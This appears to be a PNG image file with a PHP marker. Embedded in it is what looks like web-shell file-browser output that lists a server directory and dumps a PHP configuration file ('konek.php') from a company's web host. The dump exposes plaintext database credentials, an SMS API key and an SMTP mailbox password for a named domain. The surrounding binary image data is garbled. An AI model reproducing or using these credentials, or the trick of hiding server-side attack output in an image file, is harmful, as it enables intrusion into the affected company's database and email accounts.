php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /var/www/html/FTFL/mobile/inc/ |
files >> //var/www/html/FTFL/mobile/inc/konek.php |
<?php date_default_timezone_set('Asia/Jakarta'); use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'PHPMailer/src/Exception.php'; require 'PHPMailer/src/PHPMailer.php'; require 'PHPMailer/src/SMTP.php'; $smsusername = 'suyatmo'; // username $smspassword = ''; // password $apikey = '98efe0ffc89b072a3177c39c00c66287'; // key // used to connect to the database $host = "localhost"; $db_name = "transwor_infiniti"; $username = "transwor_admin"; $password = ".(N[o+v5Nf6w"; try { $con = new PDO("mysql:host={$host};dbname={$db_name}", $username, $password); } // show error catch(PDOException $exception){ echo "Connection error: " . $exception->getMessage(); } $main_url = "http://transworldindo.com/staffbiz"; $base_url = "http://transworldindo.com/staffbiz/webhq/assets"; // $main_url = "http://localhost/infinity"; // $base_url = "http://localhost/infinity/webhq/assets"; function sent_mail($email,$subjek,$body){ $mail = new PHPMailer(); $mail->IsSMTP(); // telling the class to use SMTP $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) // 1 = errors and messages // 2 = messages only $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "mail.transworldindo.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = "support@transworldindo.com"; // GMAIL username $mail->Password = "8ISuhh;z%vn#"; // GMAIL password $mail->SetFrom('support@transworldindo.com', 'Transworldindo'); $mail->Subject = $subjek; $mail->MsgHTML($body); $address = $email; $mail->AddAddress($address); global $dres; if(!$mail->Send()) { $dres = 0; } else { $dres = 1; } } include('function.php'); ?>y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`